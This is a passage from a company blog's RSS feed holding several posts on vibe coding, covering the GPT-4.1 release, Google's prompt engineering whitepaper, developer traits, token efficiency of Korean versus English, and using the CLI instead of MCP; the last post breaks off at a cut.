<p>Third, lean hard on automation. As soon as you have an example, turn it into a runnable test. It helps to set up a script that automatically runs your code formatter, linter, and unit tests. Leave trivial style issues to the automatic formatter, and get the LLM to run the tests itself after making a change and fix whatever fails. Automation is both cheap and fast.</p>
<p>Finally, provide good inputs. An LLM flounders when it&rsquo;s uncertain. Giving it trustworthy inputs — up-to-date documentation, accurate API information — dramatically reduces endless iteration and uncertainty.</p>
<p>Vibe coding, once an object of ridicule, has emerged as a powerful way of thinking in the age of AI. But intuition alone isn&rsquo;t enough. In the end, this game is about orchestrating convergence well. Simplify, automate, and point clearly in the right direction. Do that, and the model will find the right path and catch the &ldquo;vibe&rdquo; on its own.</p>
]]></content>
        </item>
        
        <item>
            <title>GPT-4.1 Released, Built for Software Development</title>
            <link>https://roboco.io/en/posts/gpt4.1-released/</link>
            <pubDate>Tue, 15 Apr 2025 07:22:08 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/gpt4.1-released/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The GPT-4.1 family is a developer-focused lineup built around coding, instruction following, and long-context handling.&lt;/li&gt;
&lt;li&gt;GPT-4.1 Mini and Nano are presented as solid options for work that needs fast responses and cost efficiency.&lt;/li&gt;
&lt;li&gt;From a vibe coding perspective, the key point is that Windsurf&amp;rsquo;s free-usage event lets you try the models out without any financial commitment.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;introduction---openai-releases-gpt-41-built-for-software-development&#34;&gt;Introduction - OpenAI Releases GPT-4.1, Built for Software Development&lt;/h2&gt;
&lt;p&gt;In the early hours of April 15, 2025 (KST), OpenAI announced GPT-4.1, a new product family for developers. The family consists of GPT-4.1, GPT-4.1 Mini, and GPT-4.1 Nano, the smallest, fastest, and cheapest model of the three. These models improve on GPT-4.0 and can handle long contexts of up to 1 million tokens.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<h2 id="tldr">TL;DR</h2>
<ul>
<li>The GPT-4.1 family is a developer-focused lineup built around coding, instruction following, and long-context handling.</li>
<li>GPT-4.1 Mini and Nano are presented as solid options for work that needs fast responses and cost efficiency.</li>
<li>From a vibe coding perspective, the key point is that Windsurf&rsquo;s free-usage event lets you try the models out without any financial commitment.</li>
</ul>
<h2 id="introduction---openai-releases-gpt-41-built-for-software-development">Introduction - OpenAI Releases GPT-4.1, Built for Software Development</h2>
<p>In the early hours of April 15, 2025 (KST), OpenAI announced GPT-4.1, a new product family for developers. The family consists of GPT-4.1, GPT-4.1 Mini, and GPT-4.1 Nano, the smallest, fastest, and cheapest model of the three. These models improve on GPT-4.0 and can handle long contexts of up to 1 million tokens.</p>
<p>On top of that, <a href="https://windsurf.com/editor">Windsurf</a> is running an event that makes GPT-4.1 available for unlimited, free use for one week starting today, through April 21. Literally free for users on every plan, including the free tier, though throttling to prevent abuse applies just as it does for other paid models. As an aside, word is that the Windsurf development team internally rates GPT-4.1 very highly.</p>
<p>In this post I&rsquo;ve summarized the main characteristics of GPT-4.1 based on OpenAI&rsquo;s <a href="https://www.youtube.com/watch?v=kA-P9ood-cE">GPT-4.1 introduction video on YouTube</a>. I used <a href="https://chromewebstore.google.com/detail/deepsrt-experience-the-fa/mdaaadlpcanoofcoeanghbmpbdbhladd">DeepSRT</a> to summarize and organize the video.</p>
<h3 id="introducing-the-gpt-41-family">Introducing the GPT-4.1 Family</h3>
<ul>
<li>GPT-4.1 excels at coding, understanding complex instructions, and building agents</li>
<li>GPT-4.1 Mini is faster and suits slightly simpler use cases</li>
<li>GPT-4.1 Nano is useful for a range of applications such as autocompletion, classification, and extracting information from long documents</li>
</ul>
<h3 id="improved-coding-ability">Improved Coding Ability</h3>
<ul>
<li>On SWEBench, GPT-4.1 reached 55% accuracy, a major improvement over GPT-4.0&rsquo;s 33%</li>
<li>On the Ader polyglot benchmark, GPT-4.1 shows improved coding ability across a variety of programming languages</li>
<li>In a flashcard app example, GPT-4.1 produced frontend code that was far more functional and far better looking than GPT-4.0&rsquo;s</li>
</ul>
<h3 id="stronger-instruction-following">Stronger Instruction Following</h3>
<ul>
<li>GPT-4.1 was trained to follow complex instruction sets accurately</li>
<li>In internal evaluations, GPT-4.1 performed significantly better than previous models</li>
<li>It also produced strong results on external benchmarks such as Scale&rsquo;s multi-challenge eval</li>
<li>New prompting guidelines are provided to help you get the most out of the model</li>
</ul>
<h3 id="long-context-handling">Long-Context Handling</h3>
<ul>
<li>GPT-4.1 Mini and Nano are the first models that can handle a 1 million token context (an 8x increase from the previous 128K)</li>
<li>In &ldquo;needle in a haystack&rdquo; evaluations, the models can pinpoint specific information accurately within long texts</li>
<li>On OpenAI&rsquo;s MRCR evaluation, GPT-4.1 outperforms GPT-4.0 and holds up well all the way to 1 million tokens</li>
<li>On the Video MME benchmark, GPT-4.1 achieved 72% accuracy, a state-of-the-art result</li>
</ul>
<h3 id="pricing-and-other-details">Pricing and Other Details</h3>
<ul>
<li>GPT-4.1 is 26% cheaper than GPT-4.0</li>
<li>GPT-4.1 Nano is the cheapest model, and there is no additional price premium for long-context usage</li>
<li>GPT-4.5 will be phased out of the API in order to free up GPU resources</li>
<li>GPT-4.1 and 4.1 Mini support fine-tuning, and Nano will be supported soon</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>Up to now, Claude 3.7 Sonnet has been the popular choice for vibe coding work. But the fact that OpenAI lined up a partnership with Windsurf in advance, then launched a week-long free-usage event alongside the model announcement to win users over, suggests they are quite confident in GPT-4.1. I&rsquo;d encourage you to take advantage of this Windsurf event and get started with vibe coding at no cost.</p>
]]></content>
        </item>
        
        <item>
            <title>What Google&#39;s Prompt Engineering Whitepaper Says About Vibe Coding</title>
            <link>https://roboco.io/en/posts/google-prompt-engineering-whitepaper/</link>
            <pubDate>Sun, 13 Apr 2025 08:32:57 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/google-prompt-engineering-whitepaper/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The code prompting section of Google&amp;rsquo;s prompt engineering whitepaper is a great starting point for using vibe coding at a professional level.&lt;/li&gt;
&lt;li&gt;Prompting for writing, explaining, translating, and debugging/reviewing code maps directly onto the vibe coding structure, where humans define the problem and AI carries it out.&lt;/li&gt;
&lt;li&gt;To get good results, spell out your output requirements, give positive instructions, and keep experimenting with and documenting reusable prompts.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;introduction---prompt-engineering-and-vibe-coding&#34;&gt;Introduction - Prompt Engineering and Vibe Coding&lt;/h2&gt;
&lt;p&gt;Whenever I pick up a new technology or need to get up to speed on a topic, the first thing I read is the whitepaper published by the vendor behind it. Most technical whitepapers are free, and they pack in a lot of information, which saves me time.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<h2 id="tldr">TL;DR</h2>
<ul>
<li>The code prompting section of Google&rsquo;s prompt engineering whitepaper is a great starting point for using vibe coding at a professional level.</li>
<li>Prompting for writing, explaining, translating, and debugging/reviewing code maps directly onto the vibe coding structure, where humans define the problem and AI carries it out.</li>
<li>To get good results, spell out your output requirements, give positive instructions, and keep experimenting with and documenting reusable prompts.</li>
</ul>
<h2 id="introduction---prompt-engineering-and-vibe-coding">Introduction - Prompt Engineering and Vibe Coding</h2>
<p>Whenever I pick up a new technology or need to get up to speed on a topic, the first thing I read is the whitepaper published by the vendor behind it. Most technical whitepapers are free, and they pack in a lot of information, which saves me time.</p>
<p>Google has now released a whitepaper on prompt engineering.</p>
<blockquote>
<p><a href="https://www.kaggle.com/whitepaper-prompt-engineering">Google Prompt Engineering Whitepaper</a></p>
</blockquote>
<p>Prompt engineering is a critical piece of vibe coding. If you intend to use it at a professional level, this whitepaper is an excellent place to start. It runs only about 60 pages, so I recommend reading the original if you can. But for those who aren&rsquo;t comfortable with English or are short on time, I&rsquo;ve summarized it here with a focus on the code prompting material that relates to vibe coding.</p>
<hr>
<h2 id="code-prompting-overview"><strong>Code Prompting Overview</strong></h2>
<p>Code prompting is the practice of designing prompts so that an AI language model performs development tasks such as writing, explaining, translating, and debugging code. This lines up exactly with the core idea of vibe coding: <strong>&ldquo;a development approach in which the human defines the problem and the AI becomes the agent that solves it.&rdquo;</strong></p>
<hr>
<h2 id="code-prompting-techniques-in-detail"><strong>Code Prompting Techniques in Detail</strong></h2>
<p>There are four types of prompting.</p>
<h3 id="1-prompts-for-writing-code">1. <strong>Prompts for writing code</strong></h3>
<ul>
<li>Give the AI a prompt so it can automatically write code in a specific programming language.</li>
<li>Examples:
<ul>
<li>Generating a Bash script that automates renaming files in a given folder</li>
<li>Automating file renaming and string handling with a Python script</li>
</ul>
</li>
</ul>
<h3 id="2-prompts-for-explaining-code">2. <strong>Prompts for explaining code</strong></h3>
<ul>
<li>Have the AI explain, in natural language, what existing code means and how it works.</li>
<li>Example:
<ul>
<li>Having the AI walk through the behavior of a Bash script step by step</li>
</ul>
</li>
</ul>
<h3 id="3-prompts-for-translating-code">3. <strong>Prompts for translating code</strong></h3>
<ul>
<li>Automatically translate code written in one programming language into another.</li>
<li>Example:
<ul>
<li>Converting a Bash script into Python code</li>
</ul>
</li>
</ul>
<h3 id="4-prompts-for-debugging-and-reviewing-code">4. <strong>Prompts for debugging and reviewing code</strong></h3>
<ul>
<li>Use AI to automatically identify errors in code and receive suggestions for improvement.</li>
<li>Example:
<ul>
<li>Finding the errors in broken Python code, explaining the fix step by step, and providing improved code</li>
</ul>
</li>
</ul>
<hr>
<h2 id="best-practices-for-code-prompting"><strong>Best Practices for Code Prompting</strong></h2>
<p>The AI prompting best practices that matter most for code prompting (vibe coding) are as follows.</p>
<h3 id="be-specific-about-output-requirements"><strong>Be specific about output requirements</strong></h3>
<ul>
<li>Describe the exact result or structure you want from the code so the AI isn&rsquo;t left guessing.</li>
</ul>
<h3 id="use-positive-instructions"><strong>Use positive instructions</strong></h3>
<ul>
<li>Focus on what to do rather than what not to do. When asking for code, for example, state the goal clearly instead of listing restrictions.</li>
</ul>
<h3 id="prompt-with-variables"><strong>Prompt with variables</strong></h3>
<ul>
<li>Write prompts you can reuse, using variables to improve reusability and maintainability.</li>
</ul>
<h3 id="experiment-with-prompt-formats-and-styles"><strong>Experiment with prompt formats and styles</strong></h3>
<ul>
<li>Try different phrasings, tones, and instruction styles to find what works best.</li>
</ul>
<h3 id="document-your-prompting-results"><strong>Document your prompting results</strong></h3>
<ul>
<li>Record your various attempts so you can identify what worked and continuously improve prompt quality.</li>
</ul>
<hr>
<h2 id="how-this-connects-to-vibe-coding"><strong>How This Connects to Vibe Coding</strong></h2>
<p>The code prompting techniques presented in this document are closely tied to the core concepts of vibe coding.</p>
<ul>
<li><strong>Defining the problem and giving instructions (writing the prompt)</strong> → <strong>the human&rsquo;s job</strong></li>
<li><strong>Writing, explaining, translating, and debugging code (the prompt&rsquo;s output)</strong> → <strong>the AI&rsquo;s job</strong></li>
</ul>
<p>With this approach, developers spend less time on repetitive work and error fixing, and can focus on creative work such as generating ideas and defining problems.</p>
<p>In other words, the heart of vibe coding is <strong>using code prompting techniques well so that AI can generate and manage code more accurately and efficiently.</strong></p>
<h2 id="prompting-best-practices">Prompting Best Practices</h2>
<p>For the best prompting performance, the following are recommended.</p>
<ul>
<li><strong>Provide examples</strong> to improve the model&rsquo;s accuracy.</li>
<li>Design prompts to be <strong>simple and clear</strong>.</li>
<li><strong>Be specific about output requirements</strong>.</li>
<li><strong>Use positive instructions instead of constraints</strong> so you don&rsquo;t confuse the model.</li>
<li><strong>Control the maximum token length</strong> for efficiency.</li>
<li><strong>Use variables</strong> to make prompts reusable.</li>
<li><strong>Experiment with different input formats and writing styles</strong> to find the optimal prompting style.</li>
<li>For classification tasks, <strong>mix up the classes in few-shot prompts</strong> to prevent overfitting.</li>
<li><strong>Keep adjusting your prompts</strong> as models are updated.</li>
<li>Use JSON and <strong>structure your data with schemas</strong>.</li>
<li><strong>Experiment collaboratively</strong> with other engineers to work more efficiently.</li>
<li>Document the prompts you&rsquo;ve tried to <strong>systematize your knowledge</strong>.</li>
</ul>
<hr>
<h2 id="closing-thoughts">Closing Thoughts</h2>
<p>Prompt engineering is a field that calls for an iterative, systematic approach in order to get the most out of an LLM. With the right settings and a range of techniques, you can draw out an LLM&rsquo;s full potential. I wrote this post for developers who are always pressed for schedule, to help them pick up prompting techniques and best practices with minimal time and effort and get the results they want efficiently. That said, the whitepaper is full of insights from cover to cover, so if you can spare half a day, I recommend reading the original.</p>
]]></content>
        </item>
        
        <item>
            <title>The Traits a Developer Needs in the Vibe Coding Era</title>
            <link>https://roboco.io/en/posts/vibecoding-best-programmers/</link>
            <pubDate>Fri, 11 Apr 2025 12:21:17 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibecoding-best-programmers/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Even in the vibe coding era, what the best developers need at their core are fundamentals like curiosity, quality standards, and communication.&lt;/li&gt;
&lt;li&gt;The more AI takes over implementation, the further a developer&amp;rsquo;s role shifts toward problem definition, evaluation, and accountable decision-making.&lt;/li&gt;
&lt;li&gt;Agency matters more than intelligence, and an execution-first mindset like the Amazon Leadership Principles becomes the benchmark for collaborating with AI.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;introduction-the-traits-of-the-best-developers&#34;&gt;Introduction: The Traits of the Best Developers&lt;/h2&gt;
&lt;p&gt;Not long ago I came across a blog post on &lt;a href=&#34;https://news.hada.io/topic?id=20244&#34;&gt;GeekNews&lt;/a&gt; by Matthias Endler, an open source maintainer and Rust consultant: &lt;a href=&#34;https://endler.dev/2025/best-programmers/&#34;&gt;&amp;ldquo;The Best Programmers I Know&amp;rdquo;&lt;/a&gt;. In it he lays out the traits the best developers he has worked with have in common.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<h2 id="tldr">TL;DR</h2>
<ul>
<li>Even in the vibe coding era, what the best developers need at their core are fundamentals like curiosity, quality standards, and communication.</li>
<li>The more AI takes over implementation, the further a developer&rsquo;s role shifts toward problem definition, evaluation, and accountable decision-making.</li>
<li>Agency matters more than intelligence, and an execution-first mindset like the Amazon Leadership Principles becomes the benchmark for collaborating with AI.</li>
</ul>
<h2 id="introduction-the-traits-of-the-best-developers">Introduction: The Traits of the Best Developers</h2>
<p>Not long ago I came across a blog post on <a href="https://news.hada.io/topic?id=20244">GeekNews</a> by Matthias Endler, an open source maintainer and Rust consultant: <a href="https://endler.dev/2025/best-programmers/">&ldquo;The Best Programmers I Know&rdquo;</a>. In it he lays out the traits the best developers he has worked with have in common.</p>
<blockquote>
<p>The best developers are curious, humble, and know how to simplify complex problems. They communicate well, dig into the deep parts of the technology, and never stop learning steadily. And above all, they place enormous value on the quality and maintainability of software.</p>
</blockquote>
<p>I broadly agree with him, but one thought stayed with me the whole time I was reading. In the era of vibe coding, where AI takes the lead in solving problems, how exactly do these traits of an excellent developer change?</p>
<h2 id="agency-over-intelligence">Agency Over Intelligence</h2>
<p>I found a hint toward an answer in a tweet from Andrej Karpathy. In a recent <a href="https://x.com/karpathy/status/1894099637218545984">tweet</a>, Karpathy made this interesting claim.</p>
<blockquote>
<p>Agency &gt; Intelligence. For a long time I believed intelligence was the single most important factor, but I have come to think that agency matters more than intelligence. Intelligence is possibility, nothing more than potential, while agency is the force that actually changes reality and produces results. In other words, no matter how smart you are or how much potential you have, it means nothing if you do not act.</p>
</blockquote>
<p>This kind of agency will establish itself as the single most important virtue for developers in the era of working alongside AI, the era of vibe coding. That is because a developer&rsquo;s role is shifting from solving problems to defining and evaluating them. But if we are talking about defining and evaluating problems, is that not already the job of a product manager (PM) or product owner (PO)? If a time comes when developer involvement is no longer needed, developers may genuinely disappear and leave only PMs and POs behind.</p>
<h2 id="the-amazon-leadership-principles-in-the-vibe-coding-era">The Amazon Leadership Principles in the Vibe Coding Era</h2>
<p>Over the past eight years I spent six as a technical trainer at AWS and two and a half as a developer. As the company grew rapidly and its headcount expanded exponentially, Amazon created the &lsquo;<a href="https://www.amazon.jobs/content/en/our-workplace/leadership-principles">Amazon Leadership Principles</a>&rsquo; so that everyone could run the business with as close to the same mindset as possible. When I read Andrej Karpathy&rsquo;s <a href="https://x.com/karpathy/status/1894099637218545984">tweet</a> about agency, my first thought was that agency connects very closely to Amazon&rsquo;s leadership principles.</p>
<p>Let&rsquo;s look at how the Amazon Leadership Principles apply in vibe coding specifically.</p>
<p>1️. Customer Obsession</p>
<ul>
<li>You have to convey the customer&rsquo;s problem to the AI accurately, and be able to define problems and set priorities with the customer at the center.</li>
<li>Provide clear, granular context so the AI does not miss the customer&rsquo;s needs.</li>
</ul>
<p>2️. Ownership</p>
<ul>
<li>Since a human ultimately bears responsibility for what the AI produces, ownership over the output matters more than ever.</li>
<li>Treat the result as your own rather than simply the AI&rsquo;s responsibility, and keep working to improve it to the end.</li>
</ul>
<p>3️. Invent and Simplify</p>
<ul>
<li>Use AI to boldly simplify existing complex procedures, and take on the role of inventing more effective ways to solve problems.</li>
<li>Enable continuous innovation by evaluating and improving the solutions the AI produces through a human lens.</li>
</ul>
<p>4️. Learn and Be Curious</p>
<ul>
<li>Continuously learn how AI technology is evolving and explore ways to use it with curiosity.</li>
<li>Pick up new frameworks and techniques quickly, growing yourself so you can collaborate with AI more effectively.</li>
</ul>
<p>5️. Hire and Develop the Best</p>
<ul>
<li>The work of finding and developing people with strong technical leadership remains extremely important.</li>
<li>Contribute by building up your teammates&rsquo; technical skills and teaching them how to use AI effectively.</li>
</ul>
<p>6️. Insist on the Highest Standards</p>
<ul>
<li>Do not trust AI output blindly; be able to evaluate and improve quality against a high bar.</li>
<li>Maintain uncompromising standards across every dimension, including quality, security, and ethics.</li>
</ul>
<p>7️. Think Big</p>
<ul>
<li>Use AI technology to hand off the technical implementation to AI, so that people can focus on setting and executing bolder, more innovative goals and visions.</li>
<li>Present the big picture so the AI can break past the constraints of existing thinking, and explore larger possibilities.</li>
</ul>
<p>8️. Bias for Action</p>
<ul>
<li>Use AI technology to experiment quickly, gather feedback, and iterate on improvements.</li>
<li>Do not just deliberate; pick up speed through action-oriented rapid iteration and validation.</li>
</ul>
<p>9️. Frugality</p>
<ul>
<li>Value cost and resource efficiency in your use of AI too, and design systems without waste.</li>
<li>Keep taking an efficient approach that gets the maximum result from minimal resources.</li>
</ul>
<ol start="10">
<li>Earn Trust</li>
</ol>
<ul>
<li>Share AI results transparently and communicate in a way that earns trust.</li>
<li>Present the AI&rsquo;s decision-making in an interpretable form to increase confidence in the results.</li>
</ul>
<ol start="11">
<li>Dive Deep</li>
</ol>
<ul>
<li>Even when the AI&rsquo;s output looks good on the surface, understand the underlying principles and analyze it closely before trusting it.</li>
<li>Hold an attitude of investigating all the way down to grasp the essence of the problem.</li>
</ul>
<ol start="12">
<li>Have Backbone; Disagree and Commit</li>
</ol>
<ul>
<li>Do not agree blindly with the AI&rsquo;s output; state your own view clearly.</li>
<li>Even when opinions clash, once a decision is made, work responsibly with the AI&rsquo;s results to produce the best outcome.</li>
</ul>
<ol start="13">
<li>Deliver Results</li>
</ol>
<ul>
<li>Ultimately, use AI to produce meaningful results in terms of actual business value or user experience.</li>
<li>Focus on delivering concrete, valuable results that go beyond technical excellence.</li>
</ul>
<p>Among these, &lsquo;Customer Obsession&rsquo; and &lsquo;Ownership&rsquo; in particular are the heart of the drive Karpathy emphasized. AI can solve problems well, but defining those problems clearly and steering them in the right direction is still a human job. You have to understand the customer&rsquo;s needs deeply and lead the problem-solving with a firm sense of responsibility for the solution. In the end, the excellent developer of the vibe coding era will be someone with clear agency and strong accountability, not just technical potential.</p>
<p>In the vibe coding era that has only just begun, developers will take on a role that goes beyond simply using AI: defining problems proactively alongside AI and taking responsibility for what gets produced. In other words, the developer who acts, who sees the problem accurately, takes it on as their own, and doggedly works toward a solution, will emerge as the most valuable talent of the vibe coding era.</p>
]]></content>
        </item>
        
        <item>
            <title>Does English Work Better Than Korean for Vibe Coding?</title>
            <link>https://roboco.io/en/posts/vibecoding-lang-choice/</link>
            <pubDate>Fri, 04 Apr 2025 08:12:04 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibecoding-lang-choice/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;There is one question people commonly wonder about when it comes to vibe coding, that is, developing with a large language model (LLM) like GPT: &amp;ldquo;Is there a difference in the quality of the work when I talk to the model in Korean versus English?&amp;rdquo; To give the conclusion first, in my experience and by the way LLMs work, the language itself does not change the quality of the work.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>There is one question people commonly wonder about when it comes to vibe coding, that is, developing with a large language model (LLM) like GPT: &ldquo;Is there a difference in the quality of the work when I talk to the model in Korean versus English?&rdquo; To give the conclusion first, in my experience and by the way LLMs work, the language itself does not change the quality of the work.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>What matters more than which language, Korean or English, produces better results is token efficiency.</li>
<li>Korean can consume more tokens to convey the same content, which can affect cost, speed, and how much context you can pass along.</li>
<li>For large projects, or for documents that get fed in repeatedly such as rules files, it is worth considering a strategy of keeping them concise and in English.</li>
</ul>
<p>Let&rsquo;s start with a quick look at the mechanics. An LLM breaks the input text into units called tokens, then uses those tokens to predict what comes next and carry out the work. In English, a word or part of a word is generally split into a single token, while Korean is split more finely, at the syllable or morpheme level.</p>
<p>For example, &ldquo;Hello&rdquo; typically uses one token, whereas &ldquo;안녕하세요&rdquo; is likely to be split into several tokens such as &lsquo;안&rsquo;, &lsquo;녕&rsquo;, &lsquo;하세요&rsquo; — though this can vary depending on the internal workings of the LLM service.</p>
<p>That said, it is hard to argue that this affects the quality of the work. In the end, LLMs overcome differences between languages quite well in the process of understanding the input and grasping the context.</p>
<p>There is, however, something else worth paying attention to: token consumption. English consumes tokens relatively concisely, while Korean requires more tokens to convey the same content. This is not merely a cost issue; it also affects prompt processing speed and the total size of the context you can pass along.</p>
<p>Rules files used in vibe coding environments — .cursorrules (Cursor), .windsurfrules (Windsurf), CLAUDE.md (Claude Code) — are fed in repeatedly with every exchange with the model, which makes optimizing those rules extremely important. This is where the question of which language to choose takes on practical meaning. Writing your rules and documents in a more concise language cuts unnecessary token consumption and lets you pass along more context.</p>
<p>For most development work, using Korean does not actually cause any serious problem. But for large projects, or when you have to handle complex context, giving English a look can be a good approach. It lets you build a faster, more efficient vibe coding environment while minimizing token usage.</p>
<p>Ultimately, the question of which language, Korean or English, works &ldquo;better&rdquo; is at its core a question of efficiency rather than of quality. When cost, speed, and efficient context management are what you need, writing your prompts and rules in English is the smart choice.</p>
]]></content>
        </item>
        
        <item>
            <title>Is MCP Really Necessary for Vibe Coding? (feat. CLI)</title>
            <link>https://roboco.io/en/posts/is-mcp-necessary-for-vibecoding/</link>
            <pubDate>Tue, 01 Apr 2025 10:28:00 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/is-mcp-necessary-for-vibecoding/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Look around the developer community these days and you will run into plenty of talk about MCP, the Model Context Protocol. The argument goes that if we want AI to work more intelligently and more flexibly, we need an interface like MCP. And honestly, I have been watching this technical trend with real interest. Part of me looks forward to where it goes, and part of me wonders: does MCP actually have to be there right now?&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>Look around the developer community these days and you will run into plenty of talk about MCP, the Model Context Protocol. The argument goes that if we want AI to work more intelligently and more flexibly, we need an interface like MCP. And honestly, I have been watching this technical trend with real interest. Part of me looks forward to where it goes, and part of me wonders: does MCP actually have to be there right now?</p>
<p>The upside of MCP is clear. When AI is wired into multiple services, the protocol lets it handle work more smoothly and more naturally. But reality is not that simple. Plenty of services still do not support MCP, and using MCP properly requires dedicated server infrastructure. Standing up that infrastructure is not the end of it either — you also need rigorous security management and an operational plan that guarantees high availability. Add it all up and the effort and cost of adopting MCP turn out to be far from trivial.</p>
<p>So what about vibe coding? Is AI ineffective without MCP? Not at all. Remarkably, we have had for a very long time one thoroughly universal tool that AI happens to handle extremely well: the CLI, the command line interface.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>MCP is useful for connecting AI to external services, but it is not a prerequisite for vibe coding today.</li>
<li>The CLI is a long-proven, general-purpose interface, and it is the practical channel through which AI can do Git, cloud, IaC, and database work.</li>
<li>Until the MCP ecosystem and its security operations mature further, leaning hard on the CLI you already know is the realistic choice.</li>
</ul>
<p>The CLI is less &ldquo;outdated&rdquo; than it is a general-purpose interface validated by a long history. Every developer is comfortable with it, and standard input and output let you compose pipelines that handle even complex processing. Write a good shell script once and you can run it yourself any time, no AI required.</p>
<p>When I do vibe coding, I hand a fair amount of work to AI through the CLI. Creating a GitHub repository, managing issues and projects, documenting a wiki — all of that is easy to handle from the command line. Basic operations like generating a commit message, committing, pushing, and merging are things AI performs deftly through the CLI as well.</p>
<p>Beyond that, checking the state of cloud infrastructure, verifying deployment results, and troubleshooting when something breaks all go smoothly through the CLI. Deploying and debugging with IaC tools such as Terraform or CloudFormation works perfectly from the command line too. Complex jobs like analyzing or creating a database schema are more than handled by CLI tooling.</p>
<p>We are in the early, transitional days of MCP adoption. More services will certainly adopt it going forward, but the service ecosystem is not mature yet. Above all, it will take time before solid security policies and management practices for MCP arrive.</p>
<p>Is there any reason to wait until then? Obviously not. If there is a way to use AI as effectively as possible right now, it is to lean into the CLI that is already second nature to us. Once you experience the fantastic combination of AI and the CLI while vibe coding, you will see that you can produce productive, creative results without needing MCP at all.</p>
<p>I have no argument with the claim that MCP is useful as an interface for providing AI services or for AI to consume. But when it comes to vibe coding, we can already use the CLI to let AI take full advantage of the interfaces we have.</p>
]]></content>
        </item>
        
        <item>
            <title>Vibe Coding: Truth or Myth</title>
            <link>https://roboco.io/en/posts/vibe-coding-truth/</link>
            <pubDate>Thu, 27 Mar 2025 10:18:33 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-truth/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I got into programming in 1986 on an Apple II — more precisely, on a &amp;ldquo;Cheonggyecheon No. 2,&amp;rdquo; a machine built from Apple OEM stock siphoned off and sold on the gray market. I have worked as a professional programmer since 1995, which means I have been coding for close to thirty years now. Over that long stretch I have lived through countless shifts in software development trends, but none as jolting as the arrival of vibe coding. Since December of last year I have been doing actual production development with vibe coding. Looking at social media lately, there seems to be a great deal of both worry and expectation around it. Drawing on my own experience, I want to talk about this new phenomenon.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>I got into programming in 1986 on an Apple II — more precisely, on a &ldquo;Cheonggyecheon No. 2,&rdquo; a machine built from Apple OEM stock siphoned off and sold on the gray market. I have worked as a professional programmer since 1995, which means I have been coding for close to thirty years now. Over that long stretch I have lived through countless shifts in software development trends, but none as jolting as the arrival of vibe coding. Since December of last year I have been doing actual production development with vibe coding. Looking at social media lately, there seems to be a great deal of both worry and expectation around it. Drawing on my own experience, I want to talk about this new phenomenon.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
